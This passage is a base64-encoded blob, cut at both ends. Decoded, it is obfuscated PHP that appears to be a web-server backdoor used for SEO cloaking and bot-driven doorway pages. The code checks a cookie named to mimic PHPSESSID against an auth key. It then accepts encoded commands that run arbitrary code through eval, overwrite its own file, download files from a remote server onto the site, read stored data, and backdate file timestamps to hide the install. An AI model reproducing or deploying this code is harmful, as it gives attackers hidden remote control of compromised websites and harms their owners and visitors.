dDU5KCksJHRoaXMtPnQxNCgpLT50MTUoKSk7fXJldHVybiR0aGlzLT52NThbJ3J0J107fWZ1bmN0aW9uIHQ2Nygpe2lmKCFpc3NldCgkdGhpcy0+djU4WydzcCddKSl7JHYzNz0kdGhpcy0+dDMwKCk7JHY2OD1uZXcgX19fQ18yOShfX19EQVRBRElSLCR2MzctPnQzMSgnc2hvcC5jYWNoZS5leHBpcmVkJyksKGJvb2wpJHRoaXMtPnQzMCgpLT50MzEoJ3Nob3AuY2FjaGUuZW5hYmxlZCcpKTskdGhpcy0+djU4WydzcCddPW5ldyBfX19DXzMwKCR2NjgsJHRoaXMtPnQ1Nignc2hvcCcpLCR0aGlzLT50MTQoKSwkdGhpcy0+dDY4KCkpO31yZXR1cm4kdGhpcy0+djU4WydzcCddO31mdW5jdGlvbiB0NjgoKXtyZXR1cm4gbmV3IF9fX0NfMzEoJHRoaXMtPnQxNCgpKTt9ZnVuY3Rpb24gdDIzKCl7cmV0dXJuIG5ldyBfX19DXzMyKG5ldyBfX19DXzEzKF9fX0RBVEFESVIuJy8nLiR0aGlzLT52MTBbJ2Vycm9yLmZpbGUnXSkpO31mdW5jdGlvbiB0NjkoKXtyZXR1cm4gbmV3IF9fX0NfMzMoJHRoaXMpO31mdW5jdGlvbiB0MzkoKXtyZXR1cm4gbmV3IF9fX0NfMzQoJHRoaXMtPnQ3MCgpLCR0aGlzLT50NTkoKSxuZXcgX19fQ18xMSgpKTt9ZnVuY3Rpb24gdDcwKCl7cmV0dXJuIG5ldyBfX19DXzM1KF9fX0RBVEFESVIuJy9pcC5kYXQnKTt9ZnVuY3Rpb24gdDUoKXtyZXR1cm4gbmV3IF9fX0NfMzYoKTt9ZnVuY3Rpb24gdDE4KCl7cmV0dXJuIG5ldyBfX19DXzM3KCR0aGlzLT50MzAoKSk7fWZ1bmN0aW9uIHQyNygpe3JldHVybiBuZXcgX19fQ18zOCgkdGhpcy0+dDMwKCksbmV3IF9fX0NfMTMoX19fREFUQURJUi4nLycuJHRoaXMtPnQzMCgpLT50MzEoJ3BhZ2UubGlua3MuZmlsZScpKSk7fWZ1bmN0aW9uIHQ3MSgpeyR2Mzc9JHRoaXMtPnQzMCgpOyR2Njk9JHYzNy0+dDMxKCdib3QucGFnZV9saW5rcy50cGwnKTtyZXR1cm4gbmV3IF9fX0NfMzkoJHY2OSk7fWZ1bmN0aW9uIHQ2NCgpeyR2NzA9JHRoaXMtPnQxNCgpLT50NDgoKTskdjcxPSR0aGlzLT50MzAoKS0+dDQzKCdvbGRwYWdlcy5kZWxheWhvdXJzJywwMjUwKTskdjcyPSR2NzEqMDcwMjA7cmV0dXJuIG5ldyBfX19DXzQwKCR0aGlzLT50NTkoKSxuZXcgX19fQ18xMSgpLCR2NzAsJHY3Mik7fX1jbGFzcyBfX19DXzQxe3N0YXRpYyBmdW5jdGlvbiB0NzIoJHY3Myl7aWYoJHY3Mz09PWZhbHNlKXJldHVybiBmYWxzZTtpZighaXNzZXQoJHY3M1snaG9zdCddKSlyZXR1cm4gZmFsc2U7cmV0dXJuIHRydWU7fXN0YXRpYyBmdW5jdGlvbiB0NzMoJiR2NzQpeyR2NzU9Y3JjMzIoJHY3NCk7aWYoJHY3NSYweDgwMDAwMDAwKXskdjc1Xj0weGZmZmZmZmZmOyR2NzUrPTAxOyR2NzU9LSR2NzU7fXJldHVybiR2NzU7fXN0YXRpYyBmdW5jdGlvbiB0NzQoJiR2NTQpeyR2NzY9c2VsZjo6dDczKCR2NTQpO2lmKCR2NzY8MDApJHY3Nj0kdjc2Ki0wMTskdjc2PXN0cl9wYWQoJHY3NiwwMTIpO3JldHVybiR2NzY7fXN0YXRpYyBmdW5jdGlvbiB0NzUoJHY3Nyl7JHY3OD1qc29uX2RlY29kZSgkdjc3LHRydWUpO3JldHVybiR2Nzg7fXN0YXRpYyBmdW5jdGlvbiB0NzYoJHY3Nyl7JHY3OD1zZWxmOjp0NzUoJHY3Nyk7cmV0dXJuIHNlbGY6OnQ3Nygkdjc4KTt9c3RhdGljIGZ1bmN0aW9uIHQ3Nygkdjc4KXskdjc5PWFycmF5KCk7Zm9yZWFjaCgkdjc4IGFzJHY4MD0+JHY2KXtpZihpc19hcnJheSgkdjYpKXskdjc5WyR2ODBdPXNlbGY6OnQ3NygkdjYpO31lbHNleyR2NzlbJHY4MF09YmFzZTY0X2RlY29kZSgkdjYpO319cmV0dXJuJHY3OTt9c3RhdGljIGZ1bmN0aW9uIHQ3OCgpe2xpc3QoJHY4MSwkdjgyKT1leHBsb2RlKCcgJyxtaWNyb3RpbWUoKSk7JHY4Mz0oZmxvYXQpJHY4MisoKGZsb2F0KSR2ODEqMDMwMzI0MCk7c3JhbmQoJHY4Myk7fXN0YXRpYyBmdW5jdGlvbiB0NzkoJHY3OCl7JHY3OD1zdHJfcmVwbGFjZSgnLCcsJy4nLCR2NzgpO3JldHVybiBmbG9hdHZhbCgkdjc4KTt9c3RhdGljIGZ1bmN0aW9uIHQ4MCgkdjg0LCR2ODUpeyR2ODY9ZGVjaGV4KCR2ODQpO2lmKHN0cmxlbigkdjg2KT4oJHY4NSowMikpdGhyb3cgbmV3IF9fX0NfMignbWF4IG92ZXJmbG93Jyk7JHY4Nj1zdHJfcGFkKCR2ODYsJHY4NSowMiwnMCcsMDApOyR2ODc9cGFjaygnSConLCR2ODYpO3JldHVybiR2ODc7fXN0YXRpYyBmdW5jdGlvbiB0ODEoKXskdjg4PXN0cl9yZXBsYWNlKCd3d3cuJywnJyxzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkpO3JldHVybiBzdHJ0b2xvd2VyKHN1YnN0cihtZDUoJHY4OCksMDAsMDEyKSk7fX1jbGFzcyBfX19DXzQye3ByaXZhdGUkdjg5O3ByaXZhdGUkdjkwO3ByaXZhdGUkdjkxO3ByaXZhdGUkdjkyO2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2OTMpeyR2OTM9cHJlZ19yZXBsYWNlKCcvWz8mXWF1dGhfdG9rZW5faWQ9XHd7MTB9LycsJycsJHY5Myk7JHRoaXMtPnY4OT0kdjkzOyR2NzM9QHBhcnNlX3VybCgkdjkzKTtpZighX19fQ180MTo6dDcyKCR2NzMpKXRocm93IG5ldyBfX19DXzAoImNhbm5vdCBwYXJzZSByZXF1ZXN0IHVybCAiLiR2OTMpOyR0aGlzLT52OTI9c3RyX3JlcGxhY2UoJ3d3dy4nLCcnLHN0cnRvbG93ZXIoJHY3M1snaG9zdCddKSk7JHY5ND0kdjczWydwYXRoJ107aWYoIWVtcHR5KCR2NzNbJ3F1ZXJ5J10pKSR2OTQuPSc/Jy4kdjczWydxdWVyeSddOyR2OTU9c3RyX3JlcGxhY2UoYXJyYXkoIisiLCIlMjAiLCJodHRwOi8vIiwiaHR0cHM6Ly8iLCJ3d3cuIiwiaW5kZXgucGhwIiwiaW5kZXguaHRtbCIsImluZGV4Lmh0bSIsIi8/LyIsIi8iLCJpbmRleC5jZ2kiLCJpbmRleC5waHRtbCIpLCcnLHN0cnRvbG93ZXIoJHY5NCkpO2lmKGVtcHR5KCR2OTUpfHwkdjk1PT0iLyIpJHY5NT0nQEBAJzskdGhpcy0+djkwPXN1YnN0cihzdHJ0b2xvd2VyKG1kNSgkdjk1KSksMDAsMDE0KTskdGhpcy0+djkxPShAZW1wdHkoJHY3M1sncGF0aCddKXx8JHY3M1sncGF0aCddPT0nLycpO31mdW5jdGlvbiB0NjAoKXtyZXR1cm4kdGhpcy0+djkyO31mdW5jdGlvbiB0MTYoKXtyZXR1cm4kdGhpcy0+djg5O31mdW5jdGlvbiB0ODIoKXtyZXR1cm4kdGhpcy0+djkwO31mdW5jdGlvbiB0ODMoKXtyZXR1cm4kdGhpcy0+djkxO319Y2xhc3MgX19fQ18xNHtwcml2YXRlJHYxMjtwcml2YXRlJHY5Nj0nUEhQU0VTU2xEJztwcml2YXRlJHY5Nztwcml2YXRlJHY5ODtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjk5LCR2NjIpeyR0aGlzLT52OTc9JHY5OTskdGhpcy0+djEyPV9fX0NfNjo6dDMoJ2FwaScpOyR0aGlzLT52OTg9JHY2Mjt9ZnVuY3Rpb24gdDExKCl7cmV0dXJuIGlzc2V0KCRfQ09PS0lFWyR0aGlzLT52OTZdKTt9ZnVuY3Rpb24gdDg0KCl7cmV0dXJuJHRoaXMtPnY5Ny0+djEwMDt9ZnVuY3Rpb24gdDM3KCl7dHJ5eyR2MTAxPXN0cnRvbG93ZXIoc3Vic3RyKG1kNSgkX0NPT0tJRVskdGhpcy0+djk2XSksMDAsMDIwKSk7JHYxMDI9c3RydG9sb3dlcihfX19BVVRIX0tFWV9fXyk7aWYoJHYxMDIhPSR2MTAxKXskdGhpcy0+djEyLT50NCgnSGFzaCB7MH0gYXJlIG5vdCBlcXVhbCB7MX0nLCR2MTAyLCR2MTAxKTt0aHJvdyBuZXcgX19fQ18wKCJhdXRoIGVycm9yIik7fWlmKGlzc2V0KCRfQ09PS0lFWydfX19jX2xfMF9pc19saXZlJ10pKXskdjEwMz0nbGl2ZV8wSnp2VGtTOVF1SDZpTTdZUTlUR18nLnRpbWUoKTskdGhpcy0+djk4LT50ODUoJHYxMDMpO3JldHVybjt9JHYxMDQ9JHRoaXMtPnQ4NigpOyR0aGlzLT52OTctPnQ4NygkdjEwNFsnY21kJ10sJHYxMDRbJ2RhdGEnXSk7fWNhdGNoKF9fX0NfMCR2NTEpeyR0aGlzLT52OTgtPnQ4OCgkdjUxKTt9fWZ1bmN0aW9uIHQ4NigpeyR2NTQ9YXJyYXkoJ2NtZCc9PicnLCdkYXRhJz0+YXJyYXkoKSk7aWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdHRVQnfHwkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXT09J1BVVCcpe2lmKGlzc2V0KCRfQ09PS0lFWydfX19jbGNkYXRhMCddKSkkdjEwNT0kdGhpcy0+dDg5KCk7ZWxzZSAkdjEwNT0kdGhpcy0+dDkwKCk7fWVsc2UgJHYxMDU9JHRoaXMtPnQ5MSgpOyR2MTA2PWV4cGxvZGUoJ3wnLCR2MTA1KTtpZihjb3VudCgkdjEwNikhPTAzKXRocm93IG5ldyBfX19DXzIoJ0VSUk9SX0lOVkFMSURfUEFDS0VUJyk7JHY1NFsnY21kJ109JHRoaXMtPnQ5MigkdjEwNlswMF0pOyR2MTA3PSR2MTA2WzAxXTtpZihzdHJ0b2xvd2VyKG1kNSgkdjEwNlswMl0pKSE9JHYxMDcpdGhyb3cgbmV3IF9fX0NfMignRVJST1JfSU5WQUxJRF9QQUNLRVRfQ0hFQ0tTVU0nKTskdjU0WydkYXRhJ109QF9fX0NfNDE6OnQ3NShnemluZmxhdGUoJHRoaXMtPnQ5MigkdjEwNlswMl0pKSk7aWYoZW1wdHkoJHY1NFsnY21kJ10pfHwkdjU0WydkYXRhJ109PT1mYWxzZXx8JHY1NFsnZGF0YSddPT09bnVsbCl0aHJvdyBuZXcgX19fQ18yKCdFUlJPUl9JTlZBTElEX1BBQ0tFVF9EQVRBJyk7cmV0dXJuJHY1NDt9ZnVuY3Rpb24gdDkwKCl7JHYxMDQ9Zm9wZW4oJ3BocDovL2lucHV0JywncicpOyR2MTA1PScnO3doaWxlKCFmZW9mKCR2MTA0KSkkdjEwNS49ZnJlYWQoJHYxMDQsMDIwMDAwKTtmY2xvc2UoJHYxMDQpO3JldHVybiR2MTA1O31mdW5jdGlvbiB0OTEoKXtyZXR1cm4gQCRfUE9TVFsnZGF0YSddO31mdW5jdGlvbiB0ODkoKXskdjEwOD0nJztmb3IoJHY1PTAwOyR2NTwwMzY7JHY1Kyspe2lmKGlzc2V0KCRfQ09PS0lFWyJfX19jbGNkYXRhIi4kdjVdKSkkdjEwOC49JF9DT09LSUVbIl9fX2NsY2RhdGEiLiR2NV07ZWxzZSBicmVhazt9JHY1ND1AZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoJyonLCcrJywkdjEwOCkpKTtyZXR1cm4kdjU0O31mdW5jdGlvbiB0OTIoJHYxMDkpe3JldHVybiBiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMygkdjEwOSkpO319Y2xhc3MgX19fQ18xNXtwcml2YXRlJHYxMTtwcml2YXRlJHYxMjtwcml2YXRlJHY5ODtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdjExMCwkdjYyKXskdGhpcy0+djExPSR2MTEwOyR0aGlzLT52MTI9X19fQ182Ojp0MygnYXBpLWhhbmRsZXInKTskdGhpcy0+djk4PSR2NjI7fWZ1bmN0aW9uIHQ4NygkdjExMSwmJHY1NCl7JHRoaXMtPnYxMi0+dDQoImNvbW1hbmQ6ICIuJHYxMTEpO3N3aXRjaCgkdjExMSl7Y2FzZSAncmVhZF9zZXJwX3JlcXVlc3RzJzokdGhpcy0+dDkzKCk7YnJlYWs7Y2FzZSAnZGVsZXRlX3NlcnBfcmVxdWVzdHMnOiR0aGlzLT50OTQoKTticmVhaztjYXNlICdldmFsJzokdGhpcy0+dDk1KCR2NTQpO2JyZWFrO2Nhc2UgJ3VwZGF0ZV9ib3RzJzokdGhpcy0+dDk2KCR2NTQpO2JyZWFrO2Nhc2UgJ3VwZGF0ZV9jb25maWcnOiR0aGlzLT50OTcoJHY1NCk7YnJlYWs7Y2FzZSAnc3RhdHVzJzokdGhpcy0+dDk4KCk7YnJlYWs7Y2FzZSAnZ2V0X2NvbmYnOiR0aGlzLT50OTkoKTticmVhaztjYXNlICdjbGVhcl9lcnJvcnMnOiR0aGlzLT50MTAwKCk7YnJlYWs7Y2FzZSAnZ2V0X2Vycm9ycyc6JHRoaXMtPnQxMDEoKTticmVhaztjYXNlICdjbGVhcl9zaG9wX2NhY2hlJzokdGhpcy0+dDEwMigpO2JyZWFrO2Nhc2UgJ3Bvc3RfaW5zdGFsbCc6JHRoaXMtPnQxMDMoKTticmVhaztjYXNlICd1cGRhdGVfY2xvYWNrJzokdGhpcy0+dDEwNCgkdjU0KTticmVhaztjYXNlICd1cGxvYWRfZmlsZSc6JHRoaXMtPnQxMDUoJHY1NCk7YnJlYWs7Y2FzZSAnZ2V0X2ZpbGVzJzokdGhpcy0+dDEwNigkdjU0KTticmVhaztkZWZhdWx0OnRocm93IG5ldyBfX19DXzAoJ0VSUk9SX1VOS05PV05fQ09NTUFORCcuJHYxMTEpO2JyZWFrO319ZnVuY3Rpb24gdDkzKCl7JHYxMTI9JHRoaXMtPnYxMS0+dDcwKCk7JHY1Nz0kdjExMi0+dDEwNygpO2lmKGZpbGVfZXhpc3RzKCR2NTcpKXskdGhpcy0+djk4LT50MTA4KCR2NTcpO31lbHNleyR0aGlzLT52OTgtPnQxMDkoJ2ZpbGUgbm90IGV4aXN0cycpO319ZnVuY3Rpb24gdDk0KCl7JHYxMTI9JHRoaXMtPnYxMS0+dDcwKCk7JHYxMTItPnQxMTAoKTskdGhpcy0+djk4LT50MTExKCk7fWZ1bmN0aW9uIHQ5NSgkdjU0KXtpZighaXNzZXQoJHY1NFsnY29kZSddKSl0aHJvdyBuZXcgX19fQ18yKCdFUlJPUl9OT19DT0RFJyk7JHYxMTM9JHY1NFsnY29kZSddO2lmKCR2MTEzPT09ZmFsc2UpdGhyb3cgbmV3IF9fX0NfMignRVJST1JfQkFEX0NPREUnKTtvYl9zdGFydCgpO2V2YWwoJHYxMTMpOyR2Nzk9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7JHRoaXMtPnY5OC0+dDEwOSgkdjc5KTt9ZnVuY3Rpb24gdDk4KCl7JHRoaXMtPnYxMDA9ZmFsc2U7JHYxMTQ9JHRoaXMtPnYxMS0+dDY5KCk7JHY1ND0kdjExNC0+dDExMigpOyR0aGlzLT52OTgtPnQxMDkoJHY1NCk7fWZ1bmN0aW9uIHQxMDAoKXskdGhpcy0+djExLT50MjMoKS0+dDExMygpOyR0aGlzLT52OTgtPnQxMTEoKTt9ZnVuY3Rpb24gdDEwMSgpe0BzZXRfdGltZV9saW1pdCgwNSowNzQpOyR2MTE1PSR0aGlzLT52MTEtPnQyMygpLT50MTE0KCk7JHRoaXMtPnY5OC0+dDEwOSgkdjExNSk7fWZ1bmN0aW9uIHQ5OSgpeyR2Mzc9JHRoaXMtPnYxMS0+dDMwKCk7JHY1ND0kdjM3LT50MTE1KCk7JHRoaXMtPnY5OC0+dDEwOSgkdjU0KTt9ZnVuY3Rpb24gdDk3KCR2NTQpeyR2MTE2PWJhc2U2NF9kZWNvZGUoJHY1NFsnZGF0YSddKTskdjExNj1fX19DXzQxOjp0NzYoJHYxMTYpO2lmKCFpc19hcnJheSgkdjExNikpdGhyb3cgbmV3IF9fX0NfMignRVJST1JfSU5QVVRfREFUQV9OT1RfQVJSQVknKTskdjExNz0oZW1wdHkoJHY1NFsncHJvdGVjdF9rZXlzJ10pKT9hcnJheSgpOmV4cGxvZGUoJ3wnLCR2NTRbJ3Byb3RlY3Rfa2V5cyddKTskdjExOD0kdjU0Wydjb25maWdfbmFtZSddOyR2MTE5PSR2NTRbJ3ZlcnNpb24nXTskdjM3PSR0aGlzLT52MTEtPnQzMCh0cnVlKTskdjM3LT50MTE2KCR2MTE4LCR2MTE5LCR2MTE2LCR2MTE3KTskdGhpcy0+djk4LT50MTExKCk7fWZ1bmN0aW9uIHQxMDMoKXskdjEyMD1kaXJuYW1lKGRpcm5hbWUoX19fUEFUSCkpOyR2NTU9dGltZSgpLSgwNzAyMCowMzAqMDM3KjAyKTtAdG91Y2goJHYxMjAsJHY1NSwkdjU1KTskdjEyMT1fX19EQVRBRElSLicvaW1nLWxvZ281LnBuZyc7aWYoZmlsZV9leGlzdHMoJHYxMjEpKXtAdW5saW5rKCR2MTIxKTt9JHRoaXMtPnY5OC0+dDExMSgpO31mdW5jdGlvbiB0MTAyKCl7JHRoaXMtPnYxMS0+dDY3KCktPnQxMTcoKTskdGhpcy0+djk4LT50MTExKCk7fWZ1bmN0aW9uIHQ5NigkdjU0KXskdjEyMj1nemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdjU0WydkYXRhJ10pKTskdjEyMz11bnNlcmlhbGl6ZSgkdjEyMik7dW5zZXQoJHYxMjIpO2lmKCR2MTIzPT09ZmFsc2V8fCFpc3NldCgkdjEyM1snZGF0YSddKXx8IWlzc2V0KCR2MTIzWydjcmMnXSkpdGhyb3cgbmV3IF9fX0NfMignRVJST1JfSU5WQUxJRF9EQVRBJyk7JHY3Nj1fX19DXzQxOjp0NzMoJHYxMjNbJ2RhdGEnXSk7aWYoJHY3NiE9JHYxMjNbJ2NyYyddKXRocm93IG5ldyBfX19DXzIoJ2NyYyBpbnZhbGlkJyk7JHYxMjQ9YmFzZTY0X2RlY29kZSgkdjEyM1snZGF0YSddKTskdjEyNT0kdGhpcy0+djExLT50NTgoKTskdjEyNS0+dDExOCgkdjEyM1sndmVyc2lvbiddLCR2MTI0KTskdGhpcy0+djk4LT50MTExKCk7fWZ1bmN0aW9uIHQxMDQoJiR2NTQpeyR2MTE2PWJhc2U2NF9kZWNvZGUoJHY1NFsnZGF0YSddKTskdjEwNz1zdHJ0b2xvd2VyKG1kNSgkdjExNikpO2lmKCR2MTA3IT0kdjU0WydoYXNoJ10pe3Rocm93IG5ldyBfX19DXzIoJ0lOVkFMSURfREFUQV9DSEVDS1NVTScpO30kdjEyNj1maWxlX3B1dF9jb250ZW50cyhfX19QQVRILCR2MTE2KTtpZighJHYxMjYpdGhyb3cgbmV3IF9fX0NfMSgnQ0FOTk9UX1dSSVRFX0ZJTEUnKTskdGhpcy0+djk4LT50MTExKCk7fWZ1bmN0aW9uIHQxMDUoJiR2NTQpeyR2MTI3PSR2NTRbJ3NlcnZlciddO3Vuc2V0KCR2NTRbJ3NlcnZlciddKTskdGhpcy0+djEyLT50MTE5KCJzZXJ2ZXI6ICIuJHYxMjcpOyR2OTM9JHYxMjcuJz9jbWQ9bG9hZCYnLmh0dHBfYnVpbGRfcXVlcnkoJHY1NCwnJywnJicpOyR2MTI4PSR0aGlzLT52MTEtPnQ1NignZmlsZV91cGxvYWQnKTskdjEyOT0kdjEyOC0+dDEyMCgkdjkzLGZhbHNlKTtpZihzdHJwb3MoJHYxMjksJ1JFU1VMVF9FUlJPUicpIT09ZmFsc2Upe3Rocm93IG5ldyBfX19DXzIoJHYxMjkpO30kdGhpcy0+djEyLT50MTE5KCJyZXNwb25zZSByZWNlaXZlZCIpOyR2MTMwPWV4cGxvZGUoJ3wnLCR2MTI5LDAzKTtpZihjb3VudCgkdjEzMCkhPTAzKXRocm93IG5ldyBfX19DXzIoJ0lOVkFMSURfRlNfUkVTUE9OU0UnKTtpZihzdHJsZW4oJHYxMzBbMDJdKSE9JHYxMzBbMDBdKXRocm93IG5ldyBfX19DXzIoJ0lOVkFMSURfRlNfREFUQV9TSVpFJyk7JHY3Nj1fX19DXzQxOjp0NzMoJHYxMzBbMDJdKTtpZigkdjEzMFswMV0hPSR2NzYpdGhyb3cgbmV3IF9fX0NfMignSU5WQUxJRF9GU19EQVRBX0NSQycpOyR0aGlzLT52MTItPnQxMTkoInJlc3BvbnNlIHZhbGlkYXRlZCIpOyR2MTMxPV9fX0RBVEFESVIuJy8nLiR2NTRbJ25hbWUnXTskdGhpcy0+djEyLT50MTE5KCJ3cml0ZSBwYXRoOiAiLiR2MTMxKTskdjEzMj1maWxlX3B1dF9jb250ZW50cygkdjEzMSwkdjEzMFswMl0pO2lmKCR2MTMyIT0kdjEzMFswMF0pdGhyb3cgbmV3IF9fX0NfMSgnRVJST1JfU0FWRV9GSUxFJyk7QGNsZWFyc3RhdGNhY2hlKCk7JHRoaXMtPnYxMi0+dDExOSgid3JpdGVkIik7dW5zZXQoJHYxMzBbMDJdKTskdjEzMz1maWxlX2dldF9jb250ZW50cygkdjEzMSk7JHY3Nj1fX19DXzQxOjp0NzMoJHYxMzMpO2lmKCR2MTMwWzAxXSE9JHY3Nil0aHJvdyBuZXcgX19fQ18yKCdJTlZBTElEX0ZTX0RBVEFfQ1JDX0FGVEVSX1dSSVRFJyk7JHRoaXMtPnYxMi0+dDExOSgiY2hlY2tlZCIpOyR0aGlzLT52OTgtPnQxMTEoKTt9ZnVuY3Rpb24gdDEwNigpeyR2MTM0PWdsb2IoX19fREFUQURJUi4nLyonKTskdjU0PWFycmF5KCk7aWYoaXNfYXJyYXkoJHYxMzQpKXtmb3JlYWNoKCR2MTM0IGFzJHY1Nyl7JHYxMzU9YmFzZW5hbWUoJHY1Nyk7JHYxMzY9ZmlsZXNpemUoJHY1Nyk7JHY1NFtdPWFycmF5KCR2MTM1LCR2MTM2KTt9fSR0aGlzLT52OTgtPnQxMDkoJHY1NCk7fWZ1bmN0aW9uIHQxMjEoJHY1Nyl7JHYxMzc9ZmlsZV9leGlzdHMoJHY1NykmJmlzX3JlYWRhYmxlKCR2NTcpJiZpc193cml0YWJsZSgkdjU3KTtyZXR1cm4kdjEzNzt9fWNsYXNzIF9fX0NfMjN7cHJpdmF0ZSR2MTM4O2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2NjMpeyR0aGlzLT52MTM4PSR2NjM7fWZ1bmN0aW9uIHQxMTEoKXskdGhpcy0+dDEwOSgnJyk7fWZ1bmN0aW9uIHQxMDkoJHYzKXskdjM9JHRoaXMtPnQ1MygkdjMpOyR2MTM5PSIjIyMjPFJFU1VMVF9PS3wiLl9fX1ZFUlNJT04uJ3wnLiR2My4nPiMjIyMnOyR0aGlzLT50ODUoJHYxMzkpO31mdW5jdGlvbiB0ODgoJHYyMyl7JHYxNDA9bnVsbDskdjE0MT1AZXJyb3JfZ2V0X2xhc3QoKTtpZigkdjE0MSE9bnVsbCl7JHYxNDA9JHYxNDFbJ21lc3NhZ2UnXS4nIGxpbmU6ICcuJHYxNDFbJ2xpbmUnXTt9JHY1ND1hcnJheSgnZXJyb3InPT4kdjE0MC4nfCcuJHYyMy0+Z2V0TWVzc2FnZSgpKTskdjEzOT0iIyMjIzxSRVNVTFRfRVJST1J8Ii5fX19WRVJTSU9OLid8Jy4kdGhpcy0+dDUzKCR2NTQpLic+IyMjIyc7JHRoaXMtPnQ4NSgkdjEzOSk7fWZ1bmN0aW9uIHQxMDgoJHY5NCl7JHRoaXMtPnQ1NCgpO19fX0NfNTo6dDI1KCk7cHJpbnQoIiMjIyM8UkVTVUxUX0ZJTEV8Iik7QHJlYWRmaWxlKCR2OTQpO3ByaW50KCI+IyMjIyIpO2V4aXQ7fWZ1bmN0aW9uIHQ4NSgkdjEzOSl7JHRoaXMtPnQ1NCgpO19fX0NfNTo6dDI1KCk7QGhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIuc3RybGVuKCR2MTM5KSk7QGhlYWRlcignQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIG1heC1hZ2U9MCcpO3ByaW50KCR2MTM5KTtleGl0O31mdW5jdGlvbiB0NTQoKXtpZigkdGhpcy0+djEzOCl7d2hpbGUoQG9iX2dldF9sZXZlbCgpPjAwKUBvYl9lbmRfY2xlYW4oKTt9fWZ1bmN0aW9uIHQ1MygkdjU0KXskdjE0Mj1qc29uX2VuY29kZSgkdjU0KTtyZXR1cm4gc3RyX3JvdDEzKGJhc2U2NF9lbmNvZGUoJHYxNDIpKTt9fWNsYXNzIF9fX0NfMTJ7cHJpdmF0ZSR2MTQzPWFycmF5KCk7cHJpdmF0ZSR2MTQ0O3ByaXZhdGUkdjE0NTtwcml2YXRlJHYxNDY7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYxNDcsJHYxNDgsJHY2MT1mYWxzZSl7JHRoaXMtPnYxNDY9JHYxNDc7aWYoISR2NjEpeyR0aGlzLT52MTQzPSR2MTQ3LT50MTIyKCk7JHRoaXMtPnYxNDQ9YXJyYXlfbWVyZ2VfcmVjdXJzaXZlKCR0aGlzLT52MTQzWydkYXRhJ10sJHYxNDgpO31lbHNleyR0aGlzLT52MTQ0PSR2MTQ4O30kdGhpcy0+dDEyMygpO31mdW5jdGlvbiB0MTE1KCl7cmV0dXJuJHRoaXMtPnYxNDM7fWZ1bmN0aW9uIHQxMjQoKXtyZXR1cm4kdGhpcy0+djE0NDt9ZnVuY3Rpb24gdDEyNSgpe3JldHVybiR0aGlzLT52MTQ5O31mdW5jdGlvbiB0MzEoJHY4MCwkdjE1MD10cnVlKXtpZihzdHJwb3MoJHY4MCwnKicpIT09ZmFsc2UpeyR2ODA9c3RyX3JlcGxhY2UoJy4qJywnJywkdjgwKTskdjE1MT0kdGhpcy0+dDEyNigkdjgwLCR2MTUwKTt9ZWxzZXskdjE1MT0kdGhpcy0+dDEyNigkdjgwLCR2MTUwKTtpZigkdjE1MT09bnVsbClyZXR1cm4gbnVsbDtpZihpc19hcnJheSgkdjE1MSkpcmV0dXJuJHYxNTE7JHY2PXN0cnRvbG93ZXIoJHYxNTEpO2lmKHN0cnRvbG93ZXIoJHY2KT09J3RydWUnKXJldHVybiB0cnVlO2lmKHN0cnRvbG93ZXIoJHY2KT09J2ZhbHNlJylyZXR1cm4gZmFsc2U7fXJldHVybiR2MTUxO31mdW5jdGlvbiB0NDMoJHY4MCwkdjE1Mj1udWxsKXskdjY9JHRoaXMtPnQzMSgkdjgwLGZhbHNlKTtyZXR1cm4oJHY2PT1udWxsKT8kdjE1MjokdjY7fWZ1bmN0aW9uIHQxMjYoJHY4MCwkdjE1MCl7JHYxNTM9ZXhwbG9kZSgnLicsJHY4MCk7JHYxNTE9JiR0aGlzLT52MTQ1O2ZvcmVhY2goJHYxNTMgYXMkdjE1NCl7aWYoIWlzc2V0KCR2MTUxWyR2MTU0XSkpe2lmKCR2MTUwKXt0aHJvdyBuZXcgX19fQ18yKCJjb25mIGRhdGEgZm9yICd7MH0nIG5vdCBleGlzdHMiLCR2ODApO31yZXR1cm4gbnVsbDt9JHYxNTE9JiR2MTUxWyR2MTU0XTt9cmV0dXJuJHYxNTE7fWZ1bmN0aW9uIHQxMTYoJHYxMTgsJHYxMTksJHYxNTUsJHYxMTcpe2lmKCR0aGlzLT52MTQ2LT50MTI3KCkpeyR2MTU2PSR0aGlzLT52MTQ2LT50MTIyKHRydWUpO2lmKCFlbXB0eSgkdjExNykpe2ZvcmVhY2goJHYxMTcgYXMkdjE1Nyl7JHYxNTVbJHYxNTddPSR2MTU2WydkYXRhJ11bJHYxNTddO319fSR2NTQ9YXJyYXkoJ25hbWUnPT4kdjExOCwndmVyc2lvbic9PiR2MTE5LCdkYXRhJz0+JHYxNTUpOyR0aGlzLT52MTQ2LT50MTI4KCR2NTQpOyR0aGlzLT52MTQ0PWFycmF5X21lcmdlX3JlY3Vyc2l2ZSgkdGhpcy0+djE0NCwkdjE1NSk7JHRoaXMtPnQxMjMoKTt9ZnVuY3Rpb24gdDEyMygpeyR0aGlzLT52MTQ1PWFycmF5KCk7Zm9yZWFjaCgkdGhpcy0+djE0NCBhcyR2ODA9PiR2Nil7aWYoJHY4MD09J3ZlcnNpb24nKWNvbnRpbnVlOyR2MTU4PWV4cGxvZGUoJy4nLCR2ODApOyR2MTU5PWFycmF5X3BvcCgkdjE1OCk7JHYxNjA9JiR0aGlzLT52MTQ1O2ZvcmVhY2goJHYxNTggYXMkdjE1NCl7aWYoIWlzc2V0KCR2MTYwWyR2MTU0XSkpeyR2MTYwWyR2MTU0XT1hcnJheSgpO30kdjE2MD0mJHYxNjBbJHYxNTRdO30kdjE2MFskdjE1OV09JHY2O319fWNsYXNzIF9fX0NfOHtwcml2YXRlJHYxNjE7cHJpdmF0ZSR2MTYyPWZhbHNlO2